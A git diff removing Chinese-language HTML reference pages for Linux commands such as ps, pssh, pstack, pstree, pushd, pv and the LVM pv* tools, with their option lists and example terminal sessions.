  • PID 就是这个程序的 ID !
  • -
  • PPID 则是其上级父程序的ID
  • -
  • C CPU 使用的资源百分比
  • -
  • PRI 这个是 Priority (优先执行序) 的缩写,详细后面介绍
  • -
  • NI 这个是 Nice 值,在下一小节我们会持续介绍
  • -
  • ADDR 这个是 kernel function,指出该程序在内存的那个部分。如果是个 running的程序,一般就是 "-"
  • -
  • SZ 使用掉的内存大小
  • -
  • WCHAN 目前这个程序是否正在运作当中,若为 - 表示正在运作
  • -
  • TTY 登入者的终端机位置
  • -
  • TIME 使用掉的 CPU 时间。
  • -
  • CMD 所下达的指令为何
  • -
-
-

在预设的情况下, ps 仅会列出与目前所在的 bash shell 有关的 PID 而已,所以, 当我使用 ps -l 的时候,只有三个 PID。

-
-

列出目前所有的正在内存当中的程序

-
ps aux
-
-# USER               PID  %CPU %MEM      VSZ    RSS   TT  STAT STARTED      TIME COMMAND
-# kenny             6155  21.3  1.7  7969944 284912   ??  S    二03下午 199:14.14 /Appl...OS/WeChat
-# kenny              559  20.4  0.8  4963740 138176   ??  S    二03下午  33:28.27 /Appl...S/iTerm2
-# _windowserver      187  18.0  0.6  7005748  95884   ??  Ss   二03下午 288:44.97 /Syst...Light.WindowServer -daemon
-# kenny             1408  10.7  2.1  5838592 347348   ??  S    二03下午 138:51.63 /Appl...nts/MacOS/Google Chrome
-# kenny              327   5.8  0.5  5771984  79452   ??  S    二03下午   2:51.58 /Syst...pp/Contents/MacOS/Finder
-
-
    -
  • USER:该 process 属于那个使用者账号的
  • -
  • PID :该 process 的号码
  • -
  • %CPU:该 process 使用掉的 CPU 资源百分比
  • -
  • %MEM:该 process 所占用的物理内存百分比
  • -
  • VSZ :该 process 使用掉的虚拟内存量 (Kbytes)
  • -
  • RSS :该 process 占用的固定的内存量 (Kbytes)
  • -
  • TTY :该 process 是在那个终端机上面运作,若与终端机无关,则显示 ?,另外, tty1-tty6 是本机上面的登入者程序,若为 pts/0 等等的,则表示为由网络连接进主机的程序。
  • -
  • STAT:该程序目前的状态,主要的状态有
  • -
  • R :该程序目前正在运作,或者是可被运作
  • -
  • S :该程序目前正在睡眠当中 (可说是 idle 状态),但可被某些讯号 (signal) 唤醒。
  • -
  • T :该程序目前正在侦测或者是停止了
  • -
  • Z :该程序应该已经终止,但是其父程序却无法正常的终止他,造成 zombie (疆尸) 程序的状态
  • -
  • START:该 process 被触发启动的时间
  • -
  • TIME :该 process 实际使用 CPU 运作的时间
  • -
  • COMMAND:该程序的实际指令
  • -
-

列出类似程序树的程序显示

-
ps -axjf
-
-# USER               PID  PPID  PGID   SESS JOBC STAT   TT       TIME COMMAND            UID   C STIME   TTY
-# root                 1     0     1      0    0 Ss     ??   10:51.90 /sbin/launchd        0   0 二03下午 ??
-# root                50     1    50      0    0 Ss     ??    0:10.07 /usr/sbin/syslog     0   0 二03下午 ??
-# root                51     1    51      0    0 Ss     ??    0:29.90 /usr/libexec/Use     0   0 二03下午 ??
-
-

找出与 cron 与 syslog 这两个服务有关的 PID 号码

-
ps aux | egrep '(cron|syslog)'
-
-# root                50   0.0  0.0  4305532   1284   ??  Ss   二03下午   0:10.08 /usr/sbin/syslogd
-# kenny            90167   0.0  0.0  4258468    184 s007  R+    9:23下午   0:00.00 egrep (cron|syslog)
-
-

把所有进程显示出来,并输出到ps001.txt文件

-
ps -aux > ps001.txt
-
-

输出指定的字段

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/pssh.html b/linux-command.docset/Contents/Resources/Documents/c/pssh.html deleted file mode 100644 index dc85438257..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/pssh.html +++ /dev/null @@ -1,143 +0,0 @@ - - - - - - - - - - - pssh 命令,Linux pssh 命令详解:批量管理执行 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

pssh

-

批量管理执行

-

补充说明

-

pssh命令 是一个python编写可以在多台服务器上执行命令的工具,同时支持拷贝文件,是同类工具中很出色的,类似pdsh,个人认为相对pdsh更为简便,使用必须在各个服务器上配置好密钥认证访问。

-

安装pssh

-

在CentOS系统环境下,介绍yum的安装和源码安装的方式:

-

yum方法

-
yum install pssh
-
-

编译安装

-
wget http://parallel-ssh.googlecode.com/files/pssh-2.3.1.tar.gz
-tar xf pssh-2.3.1.tar.gz
-cd pssh-2.3.1/
-python setup.py install
-
-

选项

-
--version:查看版本
---help:查看帮助,即此信息
--h:主机文件列表,内容格式”[user@]host[:port]”
--H:主机字符串,内容格式”[user@]host[:port]”
--:登录使用的用户名
--p:并发的线程数【可选】
--o:输出的文件目录【可选】
--e:错误输入文件【可选】
--t:TIMEOUT 超时时间设置,0无限制【可选】
--O:SSH的选项
--v:详细模式
--A:手动输入密码模式
--x:额外的命令行参数使用空白符号,引号,反斜线处理
--X:额外的命令行参数,单个参数模式,同-x
--i:每个服务器内部处理信息输出
--P:打印出服务器返回信息
-
-

实例

-

获取每台服务器的uptime:

-
# pssh -h ip.txt -i uptime
-[1] 11:15:03 [SUCCESS] Mar.mars.he
-11:15:11 up 4 days, 16:25,  1 user,  load average: 0.00, 0.00, 0.00
-[2] 11:15:03 [SUCCESS] Jan.mars.he
-11:15:12 up 3 days, 23:26,  0 users,  load average: 0.00, 0.00, 0.00
-[3] 11:15:03 [SUCCESS] Feb.mars.he
-11:15:12 up 4 days, 16:26,  2 users,  load average: 0.08, 0.02, 0.01
-
-

查看每台服务器上mysql复制IO/SQL线程运行状态信息:

-
# pssh -h IP.txt -i "/usr/local/mysql/bin/mysql -e 'show slave status \G'"|grep Running:
-             Slave_IO_Running: yes
-            Slave_SQL_Running: Yes
-             Slave_IO_Running: Yes
-            Slave_SQL_Running: Yes
-             Slave_IO_Running: Yes
-            Slave_SQL_Running: Yes
-
-

保存每台服务器运行的结果:

-
# pssh -h IP.txt -i -o /tmp/pssh/ uptime
-[1] 11:19:47 [SUCCESS] Feb.mars.he
-11:19:55 up 4 days, 16:31,  2 users,  load average: 0.02, 0.03, 0.00
-[2] 11:19:47 [SUCCESS] Jan.mars.he
-11:19:56 up 3 days, 23:30,  0 users,  load average: 0.01, 0.00, 0.00
-[3] 11:19:47 [SUCCESS] Mar.mars.he
-11:19:56 up 4 days, 16:30,  1 user,  load average: 0.00, 0.00, 0.00
-
-

我们来看一下/tmp/pssh/下的文件及其内容

-
# ll /tmp/pssh/
-总用量 12
--rw-r--r--. 1 root root 70 121 11:19 Feb.mars.he
--rw-r--r--. 1 root root 70 121 11:19 Jan.mars.he
--rw-r--r--. 1 root root 69 121 11:19 Mar.mars.he
-
-# cat /tmp/pssh/*
-11:19:55 up 4 days, 16:31,  2 users,  load average: 0.02, 0.03, 0.00
-11:19:56 up 3 days, 23:30,  0 users,  load average: 0.01, 0.00, 0.00
-11:19:56 up 4 days, 16:30,  1 user,  load average: 0.00, 0.00, 0.00
-
-

上面介绍的是pssh命令很少的一部分,大家可以将其用到适合自己的场景,发挥它的最大功效。

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/pstack.html b/linux-command.docset/Contents/Resources/Documents/c/pstack.html deleted file mode 100644 index b8ad3ed749..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/pstack.html +++ /dev/null @@ -1,151 +0,0 @@ - - - - - - - - - - - pstack 命令,Linux pstack 命令详解:显示每个进程的栈跟踪 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

pstack

-

显示每个进程的栈跟踪

-

补充说明

-

pstack命令 可显示每个进程的栈跟踪。pstack 命令必须由相应进程的属主或 root 运行。可以使用 pstack 来确定进程挂起的位置。此命令允许使用的唯一选项是要检查的进程的 PID

-

命令软件包下载地址:https://packages.debian.org/sid/pstack

-

实例

-

pstree以树结构显示进程

-
pstree -p work | grep ad
-sshd(22669)---bash(22670)---ad_preprocess(4551)-+-{ad_preprocess}(4552)
-                                                |-{ad_preprocess}(4553)
-                                                |-{ad_preprocess}(4554)
-                                                |-{ad_preprocess}(4555)
-                                                |-{ad_preprocess}(4556)
-                                                `-{ad_preprocess}(4557)
-
-

work为工作用户,-p为显示进程识别码,ad_preprocess共启动了6个子线程,加上主线程共7个线程。

-
ps -Lf 4551
-UID        PID  PPID   LWP  C NLWP STIME TTY      stat   time CMD
-work      4551 22670  4551  2    7 16:30 pts/2    Sl+    0:02 ./ad_preprocess
-work      4551 22670  4552  0    7 16:30 pts/2    Sl+    0:00 ./ad_preprocess
-work      4551 22670  4553  0    7 16:30 pts/2    Sl+    0:00 ./ad_preprocess
-work      4551 22670  4554  0    7 16:30 pts/2    Sl+    0:00 ./ad_preprocess
-work      4551 22670  4555  0    7 16:30 pts/2    Sl+    0:00 ./ad_preprocess
-work      4551 22670  4556  0    7 16:30 pts/2    Sl+    0:00 ./ad_preprocess
-work      4551 22670  4557  0    7 16:30 pts/2    Sl+    0:00 ./ad_preprocess
-
-

进程共启动了7个线程

-

pstack显示每个进程的栈跟踪:

-
pstack 4551
-Thread 7 (Thread 1084229984 (LWP 4552)):
-#0  0x000000302afc63dc in epoll_wait () from /lib64/tls/libc.so.6
-#1  0x00000000006f0730 in ub::EPollEx::poll ()
-#2  0x00000000006f172a in ub::NetReactor::callback ()
-#3  0x00000000006fbbbb in ub::UBTask::CALLBACK ()
-#4  0x000000302b80610a in start_thread () from /lib64/tls/libpthread.so.0
-#5  0x000000302afc6003 in clone () from /lib64/tls/libc.so.6
-#6  0x0000000000000000 in ?? ()
-Thread 6 (Thread 1094719840 (LWP 4553)):
-#0  0x000000302afc63dc in epoll_wait () from /lib64/tls/libc.so.6
-#1  0x00000000006f0730 in ub::EPollEx::poll ()
-#2  0x00000000006f172a in ub::NetReactor::callback ()
-#3  0x00000000006fbbbb in ub::UBTask::CALLBACK ()
-#4  0x000000302b80610a in start_thread () from /lib64/tls/libpthread.so.0
-#5  0x000000302afc6003 in clone () from /lib64/tls/libc.so.6
-#6  0x0000000000000000 in ?? ()
-Thread 5 (Thread 1105209696 (LWP 4554)):
-#0  0x000000302b80baa5 in __nanosleep_nocancel ()
-#1  0x000000000079e758 in comcm::ms_sleep ()
-#2  0x00000000006c8581 in ub::UbClientManager::healthyCheck ()
-#3  0x00000000006c8471 in ub::UbClientManager::start_healthy_check ()
-#4  0x000000302b80610a in start_thread () from /lib64/tls/libpthread.so.0
-#5  0x000000302afc6003 in clone () from /lib64/tls/libc.so.6
-#6  0x0000000000000000 in ?? ()
-Thread 4 (Thread 1115699552 (LWP 4555)):
-#0  0x000000302b80baa5 in __nanosleep_nocancel ()
-#1  0x0000000000482b0e in armor::armor_check_thread ()
-#2  0x000000302b80610a in start_thread () from /lib64/tls/libpthread.so.0
-#3  0x000000302afc6003 in clone () from /lib64/tls/libc.so.6
-#4  0x0000000000000000 in ?? ()
-Thread 3 (Thread 1126189408 (LWP 4556)):
-#0  0x000000302af8f1a5 in __nanosleep_nocancel () from /lib64/tls/libc.so.6
-#1  0x000000302af8f010 in sleep () from /lib64/tls/libc.so.6
-#2  0x000000000044c972 in Business_config_manager::run ()
-#3  0x0000000000457b83 in Thread::run_thread ()
-#4  0x000000302b80610a in start_thread () from /lib64/tls/libpthread.so.0
-#5  0x000000302afc6003 in clone () from /lib64/tls/libc.so.6
-#6  0x0000000000000000 in ?? ()
-Thread 2 (Thread 1136679264 (LWP 4557)):
-#0  0x000000302af8f1a5 in __nanosleep_nocancel () from /lib64/tls/libc.so.6
-#1  0x000000302af8f010 in sleep () from /lib64/tls/libc.so.6
-#2  0x00000000004524bb in Process_thread::sleep_period ()
-#3  0x0000000000452641 in Process_thread::run ()
-#4  0x0000000000457b83 in Thread::run_thread ()
-#5  0x000000302b80610a in start_thread () from /lib64/tls/libpthread.so.0
-#6  0x000000302afc6003 in clone () from /lib64/tls/libc.so.6
-#7  0x0000000000000000 in ?? ()
-Thread 1 (Thread 182894129792 (LWP 4551)):
-#0  0x000000302af8f1a5 in __nanosleep_nocancel () from /lib64/tls/libc.so.6
-#1  0x000000302af8f010 in sleep () from /lib64/tls/libc.so.6
-#2  0x0000000000420d79 in Ad_preprocess::run ()
-#3  0x0000000000450ad0 in main ()
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/pstree.html b/linux-command.docset/Contents/Resources/Documents/c/pstree.html deleted file mode 100644 index c9e3c34e1f..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/pstree.html +++ /dev/null @@ -1,103 +0,0 @@ - - - - - - - - - - - pstree 命令,Linux pstree 命令详解:以树状图的方式展现进程之间的派生关系 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

pstree

-

以树状图的方式展现进程之间的派生关系

-

补充说明

-

pstree命令 以树状图的方式展现进程之间的派生关系,显示效果比较直观。

-

语法

-
pstree(选项)
-
-

选项

-
-a:显示每个程序的完整指令,包含路径,参数或是常驻服务的标示;
--c:不使用精简标示法;
--G:使用VT100终端机的列绘图字符;
--h:列出树状图时,特别标明现在执行的程序;
--H<程序识别码>:此参数的效果和指定"-h"参数类似,但特别标明指定的程序;
--l:采用长列格式显示树状图;
--n:用程序识别码排序。预设是以程序名称来排序;
--p:显示程序识别码;
--u:显示用户名称;
--U:使用UTF-8列绘图字符;
--V:显示版本信息。
-
-

实例

-

显示当前所有进程的进程号和进程id

-
pstree -p
-
-

显示所有进程的所有详细信息,遇到相同的进程名可以压缩显示。

-
pstree  -a
-
-

获取 SSH 会话的 PID

-
pstree -p | grep ssh
-
-#  |-sshd(1221)-+-sshd(2768)---bash(2770)-+-grep(2810)
-#  |            `-sshd(2807)---sshd(2808)
-
-

从上方的输出中,你可以看到 sshd 进程与分支的树形图。sshd 的主进程是 sshd(1221),另两个分支分别为 sshd(2768) 和 sshd(2807)。

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/pushd.html b/linux-command.docset/Contents/Resources/Documents/c/pushd.html deleted file mode 100644 index b6b3608698..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/pushd.html +++ /dev/null @@ -1,129 +0,0 @@ - - - - - - - - - - - pushd 命令,Linux pushd 命令详解:将目录添加到目录堆栈顶部。 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

pushd

-

将目录添加到目录堆栈顶部。

-

概要

-
pushd [-n] [+N | -N | dir]
-
-

主要用途

-
    -
  • -

    将目录添加到目录堆栈顶部,切换当前工作目录到该目录。

    -
  • -
  • -

    旋转目录堆栈,使堆栈的新顶部成为当前工作目录。

    -
  • -
  • -

    没有参数时,交换目录堆栈的前两个目录。

    -
  • -
-

选项

-
-n    抑制添加目录引起的当前工作目录变化。
-
-

参数

-

+N(可选):不带参数执行dirs命令显示的列表中,左起的第N个目录将作为堆栈顶部,在它前面的会移动到底部。(从0开始计数)

-

-N(可选):不带参数执行dirs命令显示的列表中,右起的第N个目录将作为堆栈顶部,在它前面的会移动到底部。(从0开始计数)

-

dir(可选):要推送的目录。

-

返回值

-

返回成功除非提供了非法选项或执行出现错误。

-

例子

-
# 添加目录到堆栈,改变了当前工作目录。
-[user2@pc ~]$ dirs
-~
-[user2@pc ~]$ pushd ~/Desktop
-~/Desktop ~
-[user2@pc Desktop]$ 
-
-
# 添加目录到堆栈,当前工作目录不变。
-[user2@pc ~]$ dirs
-~
-[user2@pc ~]$ pushd -n ~/Desktop
-~ ~/Desktop
-[user2@pc ~]$ pushd -n ~/Pictures
-~ ~/Pictures ~/Desktop
-
-# 调整顺序。
-[user2@pc ~]$ pushd +1
-~/Pictures ~/Desktop ~
-[user2@pc ~]$ pushd -1
-~/Desktop ~ ~/Pictures
-[user2@pc ~]$ pushd
-~ ~/Desktop ~/Pictures
-
-

注意

-
    -
  1. bash的目录堆栈命令包括dirs popd pushd
  2. -
  3. 当前目录始终是目录堆栈的顶部。
  4. -
  5. 该命令是bash内建命令,相关的帮助信息请查看help命令。
  6. -
-

参考链接

- - -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/pv.html b/linux-command.docset/Contents/Resources/Documents/c/pv.html deleted file mode 100644 index f3aa196374..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/pv.html +++ /dev/null @@ -1,156 +0,0 @@ - - - - - - - - - - - pv 命令,Linux pv 命令详解:显示当前在命令行执行的命令的进度信息,管道查看器 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

pv

-

显示当前在命令行执行的命令的进度信息,管道查看器

-

补充说明

-

pv命令 Pipe Viewer 的简称,由Andrew Wood 开发。意思是通过管道显示数据处理进度的信息。这些信息包括已经耗费的时间,完成的百分比(通过进度条显示),当前的速度,全部传输的数据,以及估计剩余的时间。

-

下载安装

-
# Debian 系的操作系统,如 Ubuntu
-sudo apt-get install pv
-
-# RedHat系的则这样:
-yum install pv
-
-

语法

-
pv(选项)(参数)
-pv [OPTION] [FILE]...
-
-

选项

-
-p, --progress           显示进度条
--t, --timer              显示已用时间
--e, --eta                显示预计到达时间 (完成)
--I, --fineta             显示绝对估计到达时间
-                         (完成)
--r, --rate               显示数据传输速率计数器
--a, --average-rate       显示数据传输平均速率计数器
--b, --bytes              显示传输的字节数
--T, --buffer-percent     显示正在使用的传输缓冲区百分比
--A, --last-written NUM   显示上次写入的字节数
--F, --format FORMAT      将输出格式设置为FORMAT
--n, --numeric            输出百分比
--q, --quiet              不输出任何信息
-
--W, --wait               在传输第一个字节之前不显示任何内容
--D, --delay-start SEC    在SEC秒过去之前不显示任何内容
--s, --size SIZE          将估算的数据大小设置为SIZE字节
--l, --line-mode          计算行数而不是字节数 
--0, --null               行以零结尾
--i, --interval SEC       每SEC秒更新一次
--w, --width WIDTH        假设终端的宽度为WIDTH个字符 
--H, --height HEIGHT      假设终端高度为HEIGHT行
--N, --name NAME          在可视信息前面加上名称
--f, --force              将标准错误输出到终端
--c, --cursor             使用光标定位转义序列
-
--L, --rate-limit RATE    将传输限制为每秒RATE字节
--B, --buffer-size BYTES  使用BYTES的缓冲区大小
--C, --no-splice          从不使用splice(),始终使用读/写
--E, --skip-errors        跳过输入中的读取错误
--S, --stop-at-size       传输--size字节后停止
--R, --remote PID         更新过程PID的设置
-
--P, --pidfile FILE       将进程ID保存在FILE中 
-
--d, --watchfd PID[:FD]   监视进程PID,打开的文件FD
-
--h, --help               显示帮助
--V, --version            显示版本信息
-
-

实例

-

我们(在 linux 上使用命令行的用户)的大多数使用场景都会用到的命令是从一个 USB 驱动器拷贝电影文件到你的电脑。如果你使用 cp 来完成上面的任务,你会什么情况都不清楚,直到整个复制过程结束或者出错。

-
# 复制文件会有进度
-linux [master●] % pv ~/Downloads/CentOS-7-x86_64-Minimal-1511.iso > ~/Desktop/CentOS-7-x86_64-Minimal-1511.iso
-# 下面输入信息
-552MiB 0:00:02 [ 212MiB/s] [==================>           ] 91% ETA 0:00:00
-
-# -L 可以让你修改 pv 命令的传输速率。
-# 使用 -L 选项来限制传输速率为2MB/s。
-pv -L 2m /media/himanshu/1AC2-A8E3/fNf.mkv > ./Desktop/fnf.mkv 
-
-
# 字符一个个匀速在命令行中显示出来
-echo "Tecmint[dot]com is a community of Linux Nerds and Geeks" | pv -qL 10
-
-# 压缩文件展示进度信息
-pv /media/himanshu/1AC2-A8E3/fnf.mkv | gzip > ./Desktop/fnf.log.gz 
-
-
-# 用 dd 命令将 iso 写入磁盘,pv来实现进度条的显示
-sudo pv -cN source < /Users/kacperwang/Downloads/CentOS-7-x86_64-Everything-1511.iso | sudo dd of=/dev/disk2 bs=4m
-## 显示下面进度
-source:  5.2GiB 5:11:41 [ 503KiB/s] [=====================>       ] 71% ETA 2:01:56
-
-

在linux上, 如果执行的一些命令或者一些脚本需要花费很长时间, 但又不能拿出更多的精力反复盯着有没有执行结束, 这时候可以用pv监听PID, 任务完成后通过网络通知到微信或者钉钉, 这样就可以腾出来精力做其他的事, 是不是很棒

-
$ pv -d $(ps -ef | grep -v grep | grep "<脚本或命令的关键字>" | awk '{print $2}') && <这里执行发通知脚本或者命令,脚本或命令需要提前调试好>
-
-

注意

-
    -
  1. 选项"-d, --watchfd PID[:FD]", 是在1.6.6版本中才有的参数,如果使用需要pv升级到大于等于1.6.6的版本
  2. -
  3. CentOS7的Yum仓库里pv最新的是1.4.6版本,1.6.6版本是发布在CentOS8里面的,如果需要,可以将CentOS8里的pv下载到本地电脑上或者本地的Yum私服里, 这个是下载地址, 可以根据自己不同的架构下载, 1.6.6的安装: rpm -ivh pv-1.6.6-7.el8.x86_64.rpm -U
  4. -
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/pvchange.html b/linux-command.docset/Contents/Resources/Documents/c/pvchange.html deleted file mode 100644 index 236c67cfde..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/pvchange.html +++ /dev/null @@ -1,90 +0,0 @@ - - - - - - - - - - - pvchange 命令,Linux pvchange 命令详解:修改物理卷属性 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

pvchange

-

修改物理卷属性

-

补充说明

-

pvchange命令 允许管理员改变物理卷的分配许可。如果物理卷出现故障,可以使用pvchange命令禁止分配物理卷上的PE。

-

语法

-
pvchange(选项)(参数)
-
-

选项

-
-u:生成新的UUID;
--x:是否允许分配PE。
-
-

参数

-

物理卷:指定要修改属性的物理卷所对应的设备文件。

-

实例

-

使用pvchange命令禁止分配指定物理卷上的PE。在命令行中输入下面的命令:

-
pvchange -x n /dev/sdb1     #禁止分配"/dev/sdb1"上的PE
-
-

输出信息如下:

-
Physical volume "/dev/sdb1" changed  
-1 physical volume changed / 0 physical volumes not changed
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/pvck.html b/linux-command.docset/Contents/Resources/Documents/c/pvck.html deleted file mode 100644 index 87c6b7e6dd..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/pvck.html +++ /dev/null @@ -1,92 +0,0 @@ - - - - - - - - - - - pvck 命令,Linux pvck 命令详解:检测物理卷的LVM元数据的一致性 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

pvck

-

检测物理卷的LVM元数据的一致性

-

补充说明

-

pvck命令 用来检测物理卷的LVM元数据的一致性。默认情况下,物理卷中的前4个扇区保存着LVM卷标,可以使用--labelsector选项指定其他的位置(例如:数据恢复时)。

-

语法

-
pvck(选项)(参数)
-
-

选项

-
-d:调试模式;
--v:详细信息模式;
---labelsector:指定LVE卷标所在扇区。
-
-

参数

-

物理卷:指定要检查的物理卷对应的设备文件。

-

实例

-

使用pvck命令检查物理卷/dev/sdb1。在命令行中输入下面的命令:

-
pvck -v /dev/sdb1    #检查物理卷元数据
-Scanning /dev/sdb1  
-Found label on /dev/sdb1, sector 1, type=LVM2 001  
-Found text metadata area: offset=4096, size=192512 
-Found LVM2 metadata record at offset=125952,  
-size=70656, offset2=0 size2=0
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/pvcreate.html b/linux-command.docset/Contents/Resources/Documents/c/pvcreate.html deleted file mode 100644 index a7f2661123..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/pvcreate.html +++ /dev/null @@ -1,145 +0,0 @@ - - - - - - - - - - - pvcreate 命令,Linux pvcreate 命令详解:将物理硬盘分区初始化为物理卷 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

pvcreate

-

将物理硬盘分区初始化为物理卷

-

补充说明

-

pvcreate命令 用于将物理硬盘分区初始化为物理卷,以便LVM使用。

-

语法

-
pvcreate(选项)(参数)
-
-

选项

-
-f:强制创建物理卷,不需要用户确认;
--u:指定设备的UUID;
--y:所有的问题都回答“yes”;
--Z:是否利用前4个扇区。
-
-

参数

-

物理卷:指定要创建的物理卷对应的设备文件名。

-

实例

-

查看磁盘信息:

-
[root@localhost ~]# fdisk -l
-Disk /dev/hda: 41.1 GB, 41174138880 bytes
-255 heads, 63 sectors/track, 5005 cylinders
-Units = cylinders of 16065 * 512 = 8225280 bytes
-
-   Device Boot      Start         End      Blocks   id  System
-/dev/hda1   *           1          13      104391   83  Linux
-/dev/hda2              14        1288    10241437+  83  Linux
-/dev/hda3            1289        1925     5116702+  83  Linux
-/dev/hda4            1926        5005    24740100    5  Extended
-/dev/hda5            1926        2052     1020096   82  Linux swap / Solaris
-/dev/hda6            2053        2235     1469916   8e  Linux LVM
-/dev/hda7            2236        2418     1469916   8e  Linux LVM
-/dev/hda8            2419        2601     1469916   8e  Linux LVM
-/dev/hda9            2602        2784     1469916   8e  Linux LVM
-
-

检查有无 PV 在系统上,然后将/dev/hda6/dev/hda9建立成为PV格式

-
[root@localhost ~]# pvscan
-No matching physical volumes found    #找不到任何的 PV 存在!
-
-

将6-9分区转成pv,注意大括号的用途:

-
[root@localhost ~]# pvcreate /dev/hda{6,7,8,9}
-  Physical volume "/dev/hda6" successfully created
-  Physical volume "/dev/hda7" successfully created
-  Physical volume "/dev/hda8" successfully created
-  Physical volume "/dev/hda9" successfully created
-
-

这就分別表示每个 PV 的信息与系统所有 PV 的信息:

-
[root@localhost ~]# pvscan
-  PV /dev/hda6         lvm2 [1.40 GB]
-  PV /dev/hda7         lvm2 [1.40 GB]
-  PV /dev/hda8         lvm2 [1.40 GB]
-  PV /dev/hda9         lvm2 [1.40 GB]
-  Total: 4 [5.61 GB] / in use: 0 [0   ] / in no VG: 4 [5.61 GB]
-
-

更详细的列示出系统上面每个 PV 信息:

-
[root@localhost ~]# pvdisplay
-  "/dev/hda6" is a new physical volume of "1.40 GB"
-  --- NEW Physical volume ---
-  PV Name               /dev/hda6  #实际的 partition 分区名称
-  VG Name                          #因为尚未分配出去,所以空白!
-  PV Size               1.40 GB    #就是容量说明
-  Allocatable           NO         #是否已被分配,结果是 NO
-  PE Size (KByte)       0          #在此 PV 內的 PE 大小
-  Total PE              0          #共分割出几个 PE
-  free PE               0          #沒被 LV 用掉的 PE
-  Allocated PE          0          #尚可分配出去的 PE 数量
-  PV UUID               Z13Jk5-RCls-UJ8B-HzDa-Gesn-atku-rf2biN
-....(底下省略)....
-
-

删除物理卷:

-
[root@localhost ~]# pvremove /dev/sdb2
-Labels on physical volume "/dev/sdb2" successfully wiped
-
-

修改物理卷属性:

-
[root@localhost ~]# pvchange -x n /dev/sdb1    #禁止分配指定物理卷上的PE
-Physical volume "/dev/sdb1" changed  
-1 physical volume changed / 0 physical volumes not changed 
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/pvdisplay.html b/linux-command.docset/Contents/Resources/Documents/c/pvdisplay.html deleted file mode 100644 index 07a967c32a..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/pvdisplay.html +++ /dev/null @@ -1,93 +0,0 @@ - - - - - - - - - - - pvdisplay 命令,Linux pvdisplay 命令详解:显示物理卷的属性 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

pvdisplay

-

显示物理卷的属性

-

补充说明

-

pvdisplay命令 用于显示物理卷的属性。pvdisplay命令显示的物理卷信息包括:物理卷名称、所属的卷组、物理卷大小、PE大小、总PE数、可用PE数、已分配的PE数和UUID。

-

语法

-
pvdisplay(选项)(参数)
-
-

选项

-
-s:以短格式输出;
--m:显示PE到LE的映射。
-
-

参数

-

物理卷:要显示的物理卷对应的设备文件名。

-

实例

-

使用pvdisplay命令显示指定的物理卷的基本信息。在命令行中输入下面的命令:

-
[root@localhost ~]# pvdisplay /dev/sdb1    #显示物理卷基本信息
-
-

输出信息如下:

-
"/dev/sdb1" is a new physical volume of "101.94 MB"  
---- NEW Physical volume ---  
-PV Name               /dev/sdb1  
-....省略部分输出内容......  
-PV UUID         FOXiS2-Ghaj-Z0Mf- cdVZ-pfpk- dP9p-ifIZXN
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/pvremove.html b/linux-command.docset/Contents/Resources/Documents/c/pvremove.html deleted file mode 100644 index e182dedbbd..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/pvremove.html +++ /dev/null @@ -1,88 +0,0 @@ - - - - - - - - - - - pvremove 命令,Linux pvremove 命令详解:删除一个存在的物理卷 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

pvremove

-

删除一个存在的物理卷

-

补充说明

-

pvremove命令 用于删除一个存在的物理卷。使用pvremove指令删除物理卷时,它将LVM分区上的物理卷信息删除,使其不再被视为一个物理卷。

-

语法

-
pvremove(选项)(参数)
-
-

选项

-
-d # 调试模式;
--f # 强制删除;
--y # 对提问回答“yes”。
-
-

参数

-

物理卷:指定要删除的物理卷对应的设备文件名。

-

实例

-

使用pvremove指令删除物理卷/dev/sdb2。在命令行中输入下面的命令:

-
pvremove /dev/sdb2 # 删除物理卷
-Labels on physical volume "/dev/sdb2" successfully wiped
-
- -
